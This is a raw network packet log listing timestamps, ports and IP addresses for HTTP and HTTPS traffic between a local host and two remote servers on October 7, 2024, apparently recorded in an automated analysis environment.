Oct 7, 2024 21:18:36.720518112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721113920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721127033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721138954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721149921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721165895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721165895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721179962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721189976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721189976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721203089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721213102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721220970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721230030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721230030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721230984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721244097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.721270084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721270084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.721337080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736005068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736114979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736120939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736125946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736140013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736151934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736169100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736205101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736205101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736242056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736253023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736263990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736274958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736288071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736289978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736314058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736340046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736459970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736638069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736648083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736660957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736670971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736685038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736695051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736699104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736721992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736860037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736871958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736884117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736893892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736907005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736917973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736927986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.736932039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736954927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.736954927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.737194061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.777539968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777558088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777570009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777650118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.777650118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.777672052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777683973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777693033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777704000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.777720928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.777770042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.798726082 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.799295902 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.799365044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799457073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799489975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799544096 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.799546003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.799602985 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.799628019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.799631119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799645901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799660921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799674034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.799690008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.799786091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.800004959 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.800004959 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.800021887 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.800033092 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.800168037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800220966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800255060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800287962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.800379992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.800765991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800817013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800872087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800903082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.800904989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800937891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800967932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.800970078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.800992012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801002979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801033974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801035881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801069975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801100969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801105022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801136971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801156044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801189899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801333904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801645041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801697969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801731110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801763058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801836967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801857948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801892042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801924944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801954031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801958084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.801990986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.801994085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802010059 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.802026987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802063942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802072048 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.802148104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802180052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802212000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802243948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802248955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802278042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802294016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802314997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802345991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802476883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802551031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802581072 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.802581072 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.802583933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802598953 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.802615881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802618027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802633047 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.802649021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802665949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802669048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802700043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802732944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802762985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802766085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802799940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802830935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802834034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802867889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802898884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.802902937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802937984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.802968979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803291082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803316116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803323030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803348064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803355932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803411961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803411007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803437948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803447008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803499937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803524017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803531885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803561926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803565979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803600073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803630114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803632975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803664923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803695917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803697109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803729057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803744078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803762913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803795099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803796053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803827047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803829908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.803862095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.803949118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804126978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804160118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804193020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804225922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804227114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804256916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804260015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804291010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804294109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804327011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804327965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804362059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804394007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804397106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804425955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804426908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804461002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804491997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804492950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804629087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804657936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804661989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804696083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804717064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804728031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804758072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804763079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804795980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804796934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804820061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.804831028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.804836035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.805159092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.805560112 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.805779934 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.805834055 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.805911064 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.806036949 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.806083918 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.806286097 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.806319952 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.806319952 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.806338072 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.806348085 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.806886911 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.806960106 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.807090998 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808378935 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808420897 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808450937 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808450937 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808479071 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808479071 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808490038 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808500051 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808521032 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808614969 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808614969 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.808638096 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.808650017 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.810889006 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.810892105 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.810919046 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.810935020 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.811327934 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.811331034 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.811508894 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.811525106 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.811680079 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.811700106 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.811996937 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.811996937 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.812021971 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.812033892 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.812110901 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.812110901 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.812228918 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.812228918 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.812242031 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.812258005 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.818612099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818773985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818803072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.818805933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818840027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818870068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.818891048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818922043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.818926096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818958044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.818986893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.818990946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819025040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819055080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819061995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819097042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819129944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819133043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819133043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819168091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819197893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819220066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819281101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819313049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819314957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819345951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819376945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819380045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819438934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819469929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819478035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819514990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.819545031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.819758892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.859663010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.859675884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.859687090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.859827995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.860059977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.860080957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.860094070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.860104084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.860107899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.860117912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.860143900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.860172033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.881571054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881607056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881619930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881638050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.881736994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881750107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881763935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.881769896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881783009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881813049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.881947994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.881969929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882088900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882114887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882128954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882194042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882206917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882219076 CEST	80	49810	95.164.90.97	192.168.2.5
